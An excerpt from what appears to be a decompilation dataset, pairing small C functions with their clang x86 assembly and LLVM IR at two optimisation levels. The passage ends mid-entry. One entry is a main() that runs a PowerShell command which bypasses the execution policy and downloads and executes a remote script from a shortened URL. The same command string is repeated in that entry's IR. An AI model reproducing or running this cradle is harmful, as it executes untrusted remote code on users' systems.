xunge/DecIR huggingface dataset:
/* Variables and functions */
int *some_function(int *);
int main() {
  int z;
  int *zp;
  zp = some_function(&z);
  return z;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    -0x8(%rbp),%rdi
call   1030 <some_function@plt>
mov    %rax,-0x10(%rbp)
mov    -0x8(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0x4(%rsp),%rdi
call   1030 <some_function@plt>
mov    0x4(%rsp),%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32*
store i32 0, i32* %1
%4 = call i32* @some_function(i32* %2)
store i32* %4, i32** %3
%5 = load i32, i32* %2
ret i32 %5
}

LLVM IR (-O2):
define i32 @main() {
%1 = alloca i32
%2 = bitcast i32* %1 to i8*
%3 = call i32* @some_function(i32* %1)
%4 = load i32, i32* %1
ret i32 %4
}
/* Variables and functions */
void *fopen(char const *, char *);
void *dmc_unrar_io_stdio_open_func(const char *path) {
  return fopen(path, "rb");
}


x86 assembly (clang, -O0):
<dmc_unrar_io_stdio_open_func>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
lea    0xed9(%rip),%rsi
call   1030 <fopen@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<dmc_unrar_io_stdio_open_func>:
lea    0xee9(%rip),%rsi
jmp    1030 <fopen@plt>

LLVM IR (-O0):
@.str = [3 x i8] c"rb\00"
define i8* @dmc_unrar_io_stdio_open_func(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i8* @fopen(i8* %3, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
ret i8* %4
}

LLVM IR (-O2):
@.str = [3 x i8] c"rb\00"
define noalias i8* @dmc_unrar_io_stdio_open_func(i8* nocapture %0) {
%2 = tail call i8* @fopen(i8* %0, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
ret i8* %2
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int main(int argc, char *argv[]) {
  printf("1\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xed3(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [3 x i8] c"1\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%6 = call i32 @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@str = [2 x i8] c"1\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([2 x i8], [2 x i8]* @str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int establish_connection(int /*<<< orphan*/ *, char *, int);
int connect_server() { return establish_connection(NULL, "44044", 1); }


x86 assembly (clang, -O0):
<connect_server>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
mov    %eax,%edi
lea    0xee1(%rip),%rsi
mov    $0x1,%edx
call   1030 <establish_connection@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<connect_server>:
lea    0xee9(%rip),%rsi
xor    %edi,%edi
mov    $0x1,%edx
jmp    1030 <establish_connection@plt>

LLVM IR (-O0):
@.str = [6 x i8] c"44044\00"
define i32 @connect_server() {
%1 = call i32 @establish_connection(i32* null, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i32 1)
ret i32 %1
}

LLVM IR (-O2):
@.str = [6 x i8] c"44044\00"
define i32 @connect_server() {
%1 = tail call i32 @establish_connection(i32* null, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i32 1)
ret i32 %1
}
void init_socket(struct v7 *v7) { (void)v7; }


x86 assembly (clang, -O0):
<init_socket>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<init_socket>:
ret

LLVM IR (-O0):
%struct.v7 = type opaque
define void @init_socket(%struct.v7* %0) {
%2 = alloca %struct.v7*
store %struct.v7* %0, %struct.v7** %2
%3 = load %struct.v7*, %struct.v7** %2
ret void
}

LLVM IR (-O2):
%struct.v7 = type opaque
define void @init_socket(%struct.v7* nocapture %0) {
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ pthread_mutex_t;
typedef int /*<<< orphan*/ pthread_cond_t;

/* Variables and functions */
int /*<<< orphan*/ abort();
int /*<<< orphan*/ fputs(char *, int /*<<< orphan*/);
scalar_t__ pthread_cond_wait(int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ stderr;
void xcond_wait(pthread_cond_t *c, pthread_mutex_t *m) {
  if (pthread_cond_wait(c, m)) {
    fputs("xcond_wait\n", stderr);
    abort();
  }
}


x86 assembly (clang, -O0):
<xcond_wait>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
call   1040 <pthread_cond_wait@plt>
cmp    $0x0,%rax
je     1173 <xcond_wait+0x43>
mov    0x2e82(%rip),%rax
mov    (%rax),%esi
lea    0xe99(%rip),%rdi
call   1050 <fputs@plt>
mov    $0x0,%al
call   1030 <abort@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<xcond_wait>:
push   %rax
call   1040 <pthread_cond_wait@plt>
test   %rax,%rax
jne    113d <xcond_wait+0xd>
pop    %rax
ret
mov    0x2e9c(%rip),%rax
mov    (%rax),%esi
lea    0xeb3(%rip),%rdi
call   1050 <fputs@plt>
xor    %eax,%eax
call   1030 <abort@plt>

LLVM IR (-O0):
@.str = [12 x i8] c"xcond_wait\0A\00"
@stderr = global i32 0
define void @xcond_wait(i32* %0, i32* %1) {
%3 = alloca i32*
%4 = alloca i32*
store i32* %0, i32** %3
store i32* %1, i32** %4
%5 = load i32*, i32** %3
%6 = load i32*, i32** %4
%7 = call i64 @pthread_cond_wait(i32* %5, i32* %6)
%8 = icmp ne i64 %7, 0
br i1 %8, label %9, label %13
9: ; preds = %2
%10 = load i32, i32* @stderr
%11 = call i32 @fputs(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i32 %10)
%12 = call i32 (...) @abort()
unreachable
13: ; preds = %2
ret void
}

LLVM IR (-O2):
@.str = [12 x i8] c"xcond_wait\0A\00"
@stderr = global i32 0
define void @xcond_wait(i32* %0, i32* %1) {
%3 = tail call i64 @pthread_cond_wait(i32* %0, i32* %1)
%4 = icmp eq i64 %3, 0
br i1 %4, label %9, label %5
5: ; preds = %2
%6 = load i32, i32* @stderr
%7 = tail call i32 @fputs(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i32 %6)
%8 = tail call i32 (...) @abort()
unreachable
9: ; preds = %2
ret void
}
unsigned int unsignedint_ignoring_signedlongint(unsigned int x,
                                                signed long int y) {
  return x;
}


x86 assembly (clang, -O0):
<unsignedint_ignoring_signedlongint>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<unsignedint_ignoring_signedlongint>:
mov    %edi,%eax
ret

LLVM IR (-O0):
define i32 @unsignedint_ignoring_signedlongint(i32 %0, i64 %1) {
%3 = alloca i32
%4 = alloca i64
store i32 %0, i32* %3
store i64 %1, i64* %4
%5 = load i32, i32* %3
ret i32 %5
}

LLVM IR (-O2):
define i32 @unsignedint_ignoring_signedlongint(i32 returned %0, i64 %1) {
ret i32 %0
}
/* Type definitions */
struct sockaddr_storage {
  int dummy;
};
struct sockaddr_in {
  int dummy;
};
struct sockaddr {
  int sa_family;
};

/* Variables and functions */
#define AF_INET 128
int /*<<< orphan*/ memcpy(struct sockaddr_storage *, struct sockaddr const *,
                          int);
void sock_copyaddr(struct sockaddr_storage *dst, const struct sockaddr *src) {
  int salen;
  switch (src->sa_family) {
  case AF_INET:
    salen = sizeof(struct sockaddr_in);
    break;
  default:
    return;
  }
  memcpy(dst, src, salen);
}


x86 assembly (clang, -O0):
<sock_copyaddr>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%eax
sub    $0x80,%eax
jne    1142 <sock_copyaddr+0x32>
jmp    1136 <sock_copyaddr+0x26>
movl   $0x4,-0x14(%rbp)
jmp    1147 <sock_copyaddr+0x37>
jmp    1157 <sock_copyaddr+0x47>
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x14(%rbp),%edx
call   1030 <memcpy@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<sock_copyaddr>:
cmpl   $0x80,(%rsi)
jne    1122 <sock_copyaddr+0x12>
mov    $0x4,%edx
jmp    1030 <memcpy@plt>
ret

LLVM IR (-O0):
%struct.sockaddr_storage = type { i32 }
%struct.sockaddr = type { i32 }
define void @sock_copyaddr(%struct.sockaddr_storage* %0, %struct.sockaddr* %1) {
%3 = alloca %struct.sockaddr_storage*
%4 = alloca %struct.sockaddr*
%5 = alloca i32
store %struct.sockaddr_storage* %0, %struct.sockaddr_storage** %3
store %struct.sockaddr* %1, %struct.sockaddr** %4
%6 = load %struct.sockaddr*, %struct.sockaddr** %4
%7 = getelementptr inbounds %struct.sockaddr, %struct.sockaddr* %6, i32 0, i32 0
%8 = load i32, i32* %7
switch i32 %8, label %10 [
i32 128, label %9
]
9: ; preds = %2
store i32 4, i32* %5
br label %11
10: ; preds = %2
br label %16
11: ; preds = %9
%12 = load %struct.sockaddr_storage*, %struct.sockaddr_storage** %3
%13 = load %struct.sockaddr*, %struct.sockaddr** %4
%14 = load i32, i32* %5
%15 = call i32 @memcpy(%struct.sockaddr_storage* %12, %struct.sockaddr* %13, i32 %14)
br label %16
16: ; preds = %11, %10
ret void
}

LLVM IR (-O2):
%struct.sockaddr_storage = type { i32 }
%struct.sockaddr = type { i32 }
define void @sock_copyaddr(%struct.sockaddr_storage* %0, %struct.sockaddr* %1) {
%3 = getelementptr inbounds %struct.sockaddr, %struct.sockaddr* %1, i64 0, i32 0
%4 = load i32, i32* %3
%5 = icmp eq i32 %4, 128
br i1 %5, label %6, label %8
6: ; preds = %2
%7 = tail call i32 @memcpy(%struct.sockaddr_storage* %0, %struct.sockaddr* %1, i32 4)
br label %8
8: ; preds = %2, %6
ret void
}
/* Variables and functions */
int /*<<< orphan*/ gv(int);
void gen_cvt_ftof(int t) { gv(0x0002); }


x86 assembly (clang, -O0):
<gen_cvt_ftof>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    $0x2,%edi
call   1030 <gv@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gen_cvt_ftof>:
mov    $0x2,%edi
jmp    1030 <gv@plt>

LLVM IR (-O0):
define void @gen_cvt_ftof(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = call i32 @gv(i32 2)
ret void
}

LLVM IR (-O2):
define void @gen_cvt_ftof(i32 %0) {
%2 = tail call i32 @gv(i32 2)
ret void
}
void f73(void) {
  ({
    ({ 0; });
  a:
    ({ 0; });
    goto a;
    0;
  });
  ({
    ({ 0; });
    ({ 0; });
    0;
  });
  0;
}


x86 assembly (clang, -O0):
<f73>:
push   %rbp
mov    %rsp,%rbp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
jmp    110b <f73+0xb>

x86 assembly (clang, -O2):
<f73>:
jmp    1100 <f73>

LLVM IR (-O0):
define void @f73() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
store i32 0, i32* %1
%4 = load i32, i32* %1
br label %5
5: ; preds = %5, %0
store i32 0, i32* %2
%6 = load i32, i32* %2
br label %5
}

LLVM IR (-O2):
define void @f73() {
br label %1
1: ; preds = %1, %0
br label %1
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, char *);
int /*<<< orphan*/ smplx_exit();
void erro(char *mensagem) {
  printf("\n %s \n", mensagem);
  smplx_exit();
}


x86 assembly (clang, -O0):
<erro>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rsi
lea    0xec9(%rip),%rdi
call   1030 <printf@plt>
mov    $0x0,%al
call   1040 <smplx_exit@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<erro>:
push   %rax
mov    %rdi,%rsi
lea    0xed5(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rcx
jmp    1040 <smplx_exit@plt>

LLVM IR (-O0):
@.str = [7 x i8] c"\0A %s \0A\00"
define void @erro(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %3)
%5 = call i32 (...) @smplx_exit()
ret void
}

LLVM IR (-O2):
@.str = [7 x i8] c"\0A %s \0A\00"
define void @erro(i8* %0) {
%2 = tail call i32 @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %0)
%3 = tail call i32 (...) @smplx_exit()
ret void
}
void rotr(int *a, int *b, int *c) {
  int k = *a;
  *a = *c;
  *c = *b;
  *b = k;
}


x86 assembly (clang, -O0):
<rotr>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%eax
mov    %eax,-0x1c(%rbp)
mov    -0x18(%rbp),%rax
mov    (%rax),%ecx
mov    -0x8(%rbp),%rax
mov    %ecx,(%rax)
mov    -0x10(%rbp),%rax
mov    (%rax),%ecx
mov    -0x18(%rbp),%rax
mov    %ecx,(%rax)
mov    -0x1c(%rbp),%ecx
mov    -0x10(%rbp),%rax
mov    %ecx,(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<rotr>:
mov    (%rdi),%eax
mov    (%rdx),%ecx
mov    %ecx,(%rdi)
mov    (%rsi),%ecx
mov    %ecx,(%rdx)
mov    %eax,(%rsi)
ret

LLVM IR (-O0):
define void @rotr(i32* %0, i32* %1, i32* %2) {
%4 = alloca i32*
%5 = alloca i32*
%6 = alloca i32*
%7 = alloca i32
store i32* %0, i32** %4
store i32* %1, i32** %5
store i32* %2, i32** %6
%8 = load i32*, i32** %4
%9 = load i32, i32* %8
store i32 %9, i32* %7
%10 = load i32*, i32** %6
%11 = load i32, i32* %10
%12 = load i32*, i32** %4
store i32 %11, i32* %12
%13 = load i32*, i32** %5
%14 = load i32, i32* %13
%15 = load i32*, i32** %6
store i32 %14, i32* %15
%16 = load i32, i32* %7
%17 = load i32*, i32** %5
store i32 %16, i32* %17
ret void
}

LLVM IR (-O2):
define void @rotr(i32* nocapture %0, i32* nocapture %1, i32* nocapture %2) {
%4 = load i32, i32* %0
%5 = load i32, i32* %2
store i32 %5, i32* %0
%6 = load i32, i32* %1
store i32 %6, i32* %2
store i32 %4, i32* %1
ret void
}
/* Variables and functions */
double igamc(double, double);
double gamma_tail(double a, double b, double x) { return igamc(a, x / b); }


x86 assembly (clang, -O0):
<gamma_tail>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movsd  %xmm0,-0x8(%rbp)
movsd  %xmm1,-0x10(%rbp)
movsd  %xmm2,-0x18(%rbp)
movsd  -0x8(%rbp),%xmm0
movsd  -0x18(%rbp),%xmm1
divsd  -0x10(%rbp),%xmm1
call   1030 <igamc@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gamma_tail>:
divsd  %xmm1,%xmm2
movapd %xmm2,%xmm1
jmp    1030 <igamc@plt>

LLVM IR (-O0):
define double @gamma_tail(double %0, double %1, double %2) {
%4 = alloca double
%5 = alloca double
%6 = alloca double
store double %0, double* %4
store double %1, double* %5
store double %2, double* %6
%7 = load double, double* %4
%8 = load double, double* %6
%9 = load double, double* %5
%10 = fdiv double %8, %9
%11 = call double @igamc(double %7, double %10)
ret double %11
}

LLVM IR (-O2):
define double @gamma_tail(double %0, double %1, double %2) {
%4 = fdiv double %2, %1
%5 = tail call double @igamc(double %0, double %4)
ret double %5
}
float mat2_determinant(float *m) { return m[0] * m[3] - m[2] * m[1]; }


x86 assembly (clang, -O0):
<mat2_determinant>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movss  (%rax),%xmm0
mov    -0x8(%rbp),%rax
movss  0xc(%rax),%xmm2
mov    -0x8(%rbp),%rax
movss  0x8(%rax),%xmm1
mov    -0x8(%rbp),%rax
mulss  0x4(%rax),%xmm1
movd   %xmm1,%eax
xor    $0x80000000,%eax
movd   %eax,%xmm1
mulss  %xmm2,%xmm0
addss  %xmm1,%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<mat2_determinant>:
movss  0x4(%rdi),%xmm1
mulss  0x8(%rdi),%xmm1
movss  (%rdi),%xmm0
mulss  0xc(%rdi),%xmm0
subss  %xmm1,%xmm0
ret

LLVM IR (-O0):
define float @mat2_determinant(float* %0) {
%2 = alloca float*
store float* %0, float** %2
%3 = load float*, float** %2
%4 = getelementptr inbounds float, float* %3, i64 0
%5 = load float, float* %4
%6 = load float*, float** %2
%7 = getelementptr inbounds float, float* %6, i64 3
%8 = load float, float* %7
%9 = load float*, float** %2
%10 = getelementptr inbounds float, float* %9, i64 2
%11 = load float, float* %10
%12 = load float*, float** %2
%13 = getelementptr inbounds float, float* %12, i64 1
%14 = load float, float* %13
%15 = fmul float %11, %14
%16 = fneg float %15
%17 = call float @llvm.fmuladd.f32(float %5, float %8, float %16)
ret float %17
}

LLVM IR (-O2):
define float @mat2_determinant(float* nocapture %0) {
%2 = load float, float* %0
%3 = getelementptr inbounds float, float* %0, i64 3
%4 = load float, float* %3
%5 = getelementptr inbounds float, float* %0, i64 2
%6 = load float, float* %5
%7 = getelementptr inbounds float, float* %0, i64 1
%8 = load float, float* %7
%9 = fneg float %6
%10 = fmul float %8, %9
%11 = tail call float @llvm.fmuladd.f32(float %2, float %4, float %10)
ret float %11
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell -executionpolicy bypass \"IEX (New-Object "
         "Net.WebClient).DownloadString('http://tinyurl.com/oe7lajn'); \"");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/oe7lajn'); \22\00"
define i32 @main() {
%1 = call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/oe7lajn'); \22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ puts(char *);
void Funkcija3() { puts("This is function three"); }


x86 assembly (clang, -O0):
<Funkcija3>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <puts@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<Funkcija3>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [23 x i8] c"This is function three\00"
define void @Funkcija3() {
%1 = call i32 @puts(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str = [23 x i8] c"This is function three\00"
define void @Funkcija3() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @.str, i64 0, i64 0))
ret void
}
/* Variables and functions */
int /*<<< orphan*/ nand_addr(unsigned int);
void nand_send_addr(unsigned int addr) {
  nand_addr(addr & 0xff);
  nand_addr((addr >> 8) & 0x1f);
  nand_addr((addr >> 13) & 0xff);
  nand_addr((addr >> 21) & 0xff);
  nand_addr((addr >> 29) & 0xff);
}


x86 assembly (clang, -O0):
<nand_send_addr>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%edi
and    $0xff,%edi
call   1030 <nand_addr@plt>
mov    -0x4(%rbp),%edi
shr    $0x8,%edi
and    $0x1f,%edi
call   1030 <nand_addr@plt>
mov    -0x4(%rbp),%edi
shr    $0xd,%edi
and    $0xff,%edi
call   1030 <nand_addr@plt>
mov    -0x4(%rbp),%edi
shr    $0x15,%edi
and    $0xff,%edi
call   1030 <nand_addr@plt>
mov    -0x4(%rbp),%edi
shr    $0x1d,%edi
and    $0xff,%edi
call   1030 <nand_addr@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<nand_send_addr>:
push   %rbx
mov    %edi,%ebx
movzbl %bl,%edi
call   1030 <nand_addr@plt>
mov    %ebx,%edi
shr    $0x8,%edi
and    $0x1f,%edi
call   1030 <nand_addr@plt>
mov    %ebx,%eax
shr    $0xd,%eax
movzbl %al,%edi
call   1030 <nand_addr@plt>
mov    %ebx,%eax
shr    $0x15,%eax
movzbl %al,%edi
call   1030 <nand_addr@plt>
shr    $0x1d,%ebx
mov    %ebx,%edi
pop    %rbx
jmp    1030 <nand_addr@plt>

LLVM IR (-O0):
define void @nand_send_addr(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = and i32 %3, 255
%5 = call i32 @nand_addr(i32 %4)
%6 = load i32, i32* %2
%7 = lshr i32 %6, 8
%8 = and i32 %7, 31
%9 = call i32 @nand_addr(i32 %8)
%10 = load i32, i32* %2
%11 = lshr i32 %10, 13
%12 = and i32 %11, 255
%13 = call i32 @nand_addr(i32 %12)
%14 = load i32, i32* %2
%15 = lshr i32 %14, 21
%16 = and i32 %15, 255
%17 = call i32 @nand_addr(i32 %16)
%18 = load i32, i32* %2
%19 = lshr i32 %18, 29
%20 = and i32 %19, 255
%21 = call i32 @nand_addr(i32 %20)
ret void
}

LLVM IR (-O2):
define void @nand_send_addr(i32 %0) {
%2 = and i32 %0, 255
%3 = tail call i32 @nand_addr(i32 %2)
%4 = lshr i32 %0, 8
%5 = and i32 %4, 31
%6 = tail call i32 @nand_addr(i32 %5)
%7 = lshr i32 %0, 13
%8 = and i32 %7, 255
%9 = tail call i32 @nand_addr(i32 %8)
%10 = lshr i32 %0, 21
%11 = and i32 %10, 255
%12 = tail call i32 @nand_addr(i32 %11)
%13 = lshr i32 %0, 29
%14 = tail call i32 @nand_addr(i32 %13)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int foo() { printf("Hello, World!\n"); }


x86 assembly (clang, -O0):
<foo>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
lea    0xee1(%rip),%rdi
call   1030 <printf@plt>
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<foo>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [15 x i8] c"Hello, World!\0A\00"
define i32 @foo() {
%1 = alloca i32
%2 = call i32 @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0))
%3 = load i32, i32* %1
ret i32 %3
}

LLVM IR (-O2):
@str = [14 x i8] c"Hello, World!\00"
define i32 @foo() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([14 x i8], [14 x i8]* @str, i64 0, i64 0))
ret i32 undef
}
void little_field_gather_eo(int eo, _Complex double *w) { return; }


x86 assembly (clang, -O0):
<little_field_gather_eo>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<little_field_gather_eo>:
ret

LLVM IR (-O0):
define void @little_field_gather_eo(i32 %0, { double, double }* %1) {
%3 = alloca i32
%4 = alloca { double, double }*
store i32 %0, i32* %3
store { double, double }* %1, { double, double }** %4
ret void
}

LLVM IR (-O2):
define void @little_field_gather_eo(i32 %0, { double, double }* nocapture %1) {
ret void
}
void joke_free(void *ptr) { (void)ptr; }


x86 assembly (clang, -O0):
<joke_free>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<joke_free>:
ret

LLVM IR (-O0):
define void @joke_free(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
ret void
}

LLVM IR (-O2):
define void @joke_free(i8* nocapture %0) {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ scanf(char *, char *);
int main(void) {
  char word[100];
  printf("Enter a word: ");
  scanf("%99s", word);
  printf("You input: %s Correct?\n", word);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeca(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    -0x70(%rbp),%rsi
lea    0xec7(%rip),%rdi
call   1040 <scanf@plt>
lea    -0x70(%rbp),%rsi
lea    0xebc(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x70,%rsp
lea    0xed4(%rip),%rdi
xor    %eax,%eax
call   1030 <printf@plt>
lea    0xed5(%rip),%rdi
mov    %rsp,%rbx
mov    %rbx,%rsi
call   1040 <scanf@plt>
lea    0xec8(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x70,%rsp
pop    %rbx
ret

LLVM IR (-O0):
@.str = [15 x i8] c"Enter a word: \00"
@.str.1 = [5 x i8] c"%99s\00"
@.str.2 = [24 x i8] c"You input: %s Correct?\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [100 x i8]
store i32 0, i32* %1
%3 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0))
%4 = getelementptr inbounds [100 x i8], [100 x i8]* %2, i64 0, i64 0
%5 = call i32 @scanf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0), i8* %4)
%6 = getelementptr inbounds [100 x i8], [100 x i8]* %2, i64 0, i64 0
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* %6)
ret i32 0
}

LLVM IR (-O2):
@.str = [15 x i8] c"Enter a word: \00"
@.str.1 = [5 x i8] c"%99s\00"
@.str.2 = [24 x i8] c"You input: %s Correct?\0A\00"
define i32 @main() {
%1 = alloca [100 x i8]
%2 = getelementptr inbounds [100 x i8], [100 x i8]* %1, i64 0, i64 0
%3 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0))
%4 = call i32 @scanf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0), i8* %2)
%5 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* %2)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ portctl(char, int, char *);
int aux4off() {
  int pin = 0;
  char mask = 0x20;
  portctl(mask, pin, "aux4off");
  return 0;
}


x86 assembly (clang, -O0):
<aux4off>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
movb   $0x20,-0x5(%rbp)
mov    -0x5(%rbp),%al
mov    -0x4(%rbp),%esi
lea    0xed0(%rip),%rdx
movsbl %al,%edi
call   1030 <portctl@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<aux4off>:
push   %rax
lea    0xee8(%rip),%rdx
mov    $0x20,%edi
